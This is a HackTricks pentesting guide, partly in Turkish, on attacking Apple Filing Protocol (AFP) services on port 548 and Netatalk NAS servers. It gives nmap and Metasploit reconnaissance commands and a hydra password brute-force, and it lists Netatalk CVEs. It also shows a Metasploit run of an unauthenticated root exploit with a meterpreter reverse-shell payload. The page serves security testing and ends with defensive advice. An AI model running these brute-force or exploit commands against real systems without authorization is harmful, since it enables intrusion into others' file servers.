548 - Pentesting Apple Dosyalama Protokolü (AFP)

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

The Apple Filing Protocol (AFP), once known as AppleTalk Filing Protocol, is a specialized network protocol included within Apple File Service (AFS). It is designed to provide file services for macOS and the classic Mac OS. AFP stands out for supporting Unicode file names, POSIX-style and ACL permissions, resource forks, named extended attributes and sophisticated file-locking mechanisms.

Although AFP has been superseded by SMB in modern macOS releases (SMB is the default since OS X 10.9), it is still encountered in:

  • Eski macOS / Mac OS 9 ortamları
  • Açık kaynaklı Netatalk daemon’u barındıran NAS cihazları (QNAP, Synology, Western Digital, TrueNAS…)
  • Time-Machine-over-AFP’nin hâlâ etkin olduğu karma-işletim sistemi ağları

Varsayılan TCP Port: 548 (AFP over TCP / DSI)

PORT     STATE SERVICE
548/tcp  open  afp

Keşif

Hızlı banner / server info

# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>

Kullanışlı AFP NSE script’leri:

ScriptNe yapar
afp-lsKullanılabilir AFP hacimlerini ve dosyalarını listeler
afp-bruteAFP girişine karşı parola brute-force
afp-serverinfoSunucu adını, makine tipini, AFP sürümünü, desteklenen UAMs vb. bilgilerini döker
afp-showmountPaylaşımları ACL’leriyle birlikte listeler
afp-path-vulndirectory-traversal (CVE-2010-0533) zafiyetini tespit eder (ve exploit edebilir)

Daha fazla kontrol gerekiyorsa NSE brute-force script’i Hydra/Medusa ile birleştirilebilir:

hydra -L users.txt -P passwords.txt afp://<IP>

Eğer zaten kimlik bilgilerine sahipseniz, Nmap’s AFP scripts become much more useful çünkü afp-serverinfo leaks the advertised UAMs (auth methods), afp-showmount ve afp-ls ise erişilebilir shares, ACLs ve ilginç files’ı enumerate edebilir:

nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
--script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>

Dikkat edin:

  • Machine Type: Netatalk afp-serverinfo çıktısında, genellikle Apple’ın kendi AFP uygulaması yerine bir NAS / Unix sunucusu anlamına gelir.
  • UAMsDHX, DHX2, Cleartxt veya Guest gibi — ulaşılabilir oturum açma yolları ve eski / zayıf kimlik doğrulamanın etkin olup olmadığı hakkında doğrudan ipucu verir.
  • Share ACLs afp-showmount çıktısından; world-readable veya drop-box tarzı paylaşımlar genellikle birimi mount etmeden önce yedekleri, .appl dosyalarını ve kullanıcı meta verilerini açığa çıkarır.

Interacting with shares

macOS

# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp

Linux (afpfs-ng kullanılarak ‑ çoğu dağıtımda paketlenmiş)

apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>

Bir kez mount edildikten sonra, klasik Mac resource-fork’larının gizli ._* AppleDouble dosyalarına kaydedildiğini unutmayın – bunlar genellikle DFIR araçlarının kaçırdığı ilginç metadata içerir.

Netatalk hedeflerinde bu metadata backend’i exploitability açısından da önemlidir:

  • ea = ad metadata’nın AppleDouble v2 dosyalarında / .AppleDouble dizinlerinde saklandığı anlamına gelir.
  • ea = sys veya ea = samba metadata’yı bunun yerine dosya sistemi genişletilmiş özniteliklerinde saklar.
  • Netatalk 4.2+’de eski appledouble seçeneği kaldırıldı ve backend yalnızca ea seçeneği ile kontrol ediliyor.

Ofansif açıdan bu, AppleDouble-oriented bugs’un sunucuda erişilebilir olma olasılığının daha yüksek olup olmadığını hızlıca belirlemenizi sağlar.


Yaygın Zafiyetler ve Sömürme

Netatalk unauthenticated RCE chain (2022)

Bazı NAS üreticileri Netatalk ≤3.1.12 kullanıyordu. parse_entries() içinde sınır kontrolü eksikliği, bir saldırganın kötü amaçlı bir AppleDouble başlığı oluşturmasına ve kimlik doğrulamadan önce remote root elde etmesine olanak tanıyordu (CVSS 9.8 – CVE-2022-23121). Western-Digital PR4100’ü sömüren PoC içeren NCC Group tarafından hazırlanmış tam bir inceleme mevcuttur.

Metasploit (>= 6.3) exploit/linux/netatalk/parse_entries modülünü içerir; bu modül payload’u DSI WRITE ile teslim eder.

use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run

If the target runs an affected QNAP/Synology firmware, successful exploitation yields a shell as root.

Netatalk OpenSession heap overflow (2018)

Eski Netatalk (3.0.0 - 3.1.11), DSI OpenSession handler’ında bir out-of-bounds write zafiyetine sahiptir; bu, kimlik doğrulaması gerektirmeyen kod çalıştırmaya izin verir (CVE-2018-1160). Tenable Research tarafından detaylı analiz ve PoC yayımlandı.

Newer Netatalk attack surface (2022-2024)

Son Netatalk duyuruları, saldırı yüzeyinin artık sadece parse_entries() ve OpenSession işleme ile sınırlı olmadığını gösteriyor:

  • CVE-2022-45188: özel olarak hazırlanmış bir .appl dosyası afp_getappl içinde bir heap overflow tetikleyebilir; bu, özellikle bir paylaşıma dosya yazabiliyorsanız ve sunucu FCE / notify özelliklerini çalıştırıyorsa önemlidir.
  • CVE-2023-42464: type confusion hatası, Spotlight RPC işleyicilerinde afp.conf içinde spotlight = yes etkinleştirildiğinde erişilebilir hale gelebilir (varsayılan olarak devre dışı).
  • CVE-2024-38439 / CVE-2024-38440 / CVE-2024-38441: login ile ilişkili yollarında tek baytlık heap out-of-bounds write’ler; Netatalk 2.4.1 / 3.1.19 / 3.2.1’de düzeltildi. Bu hatalar ilginç çünkü sömürülebilirlik yapılandırılmış UAMs’e bağlıdır:
    • uams_clrtxt.so + PAM destekli ClearTxt giriş, CVE-2024-38439 ile ilişkili FPLoginExt yolunu açığa çıkarır.
    • uams_dhx.so + PAM destekli DHX giriş, CVE-2024-38440 için savunmasız yola ulaşır.
    • uams_guest.so Guest giriş yolunu CVE-2024-38441 için erişilebilir tutar.

Bu, afp-serverinfo çıktısının sadece fingerprinting verisi olmadığı; exploit geliştirme veya NAS firmware triage işlemine zaman harcamadan önce hangi login parser’ın açık olduğunu belirlemenize yardımcı olduğu anlamına gelir.

Other notable issues

  • CVE-2022-22995 – AppleDouble v2 etkinleştirildiğinde symlink yönlendirmesi sonucu arbitrary file write / RCE (3.1.0 - 3.1.17).
  • CVE-2010-0533 – Apple Mac OS X 10.6 AFP’de Directory traversal (afp-path-vuln.nse tarafından tespit edildi).
  • Çok sayıda memory-safety hatası 2024 Netatalk releases sırasında tekrar düzeltildi; afp-serverinfo çıktısında Netatalk tespit ederseniz, sadece 2018/2022 hatalarının önemli olduğunu varsaymadan önce açığa çıkan UAMs / Spotlight / metadata backend’i sunucu sürümüyle ilişkilendirmek için bir dakika harcayın.

Defensive Recommendations

  1. AFP’yi devre dışı bırakın (sadece kesinlikle gerekliyse) – bunun yerine SMB3 veya NFS kullanın.
  2. Eğer AFP kalmak zorundaysa, Netatalk’i ≥ 3.1.18 veya 4.x’e yükseltin, veya 2022/2023/2024 yamalarını geriye taşıyan satıcı firmware’ini uygulayın.
  3. Güçlü UAMs uygulayın (örn. DHX2), clear-text ve guest girişlerini devre dışı bırakın.
  4. TCP 548’i güvenilen alt ağlarla sınırlayın ve uzaktan açığa çıkarıldığında AFP’yi bir VPN içine alın.
  5. CI/CD’de periyodik olarak nmap -p 548 --script afp-* ile tarama yaparak sahte / düşürülmüş cihazları tespit edin.

Brute-Force

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin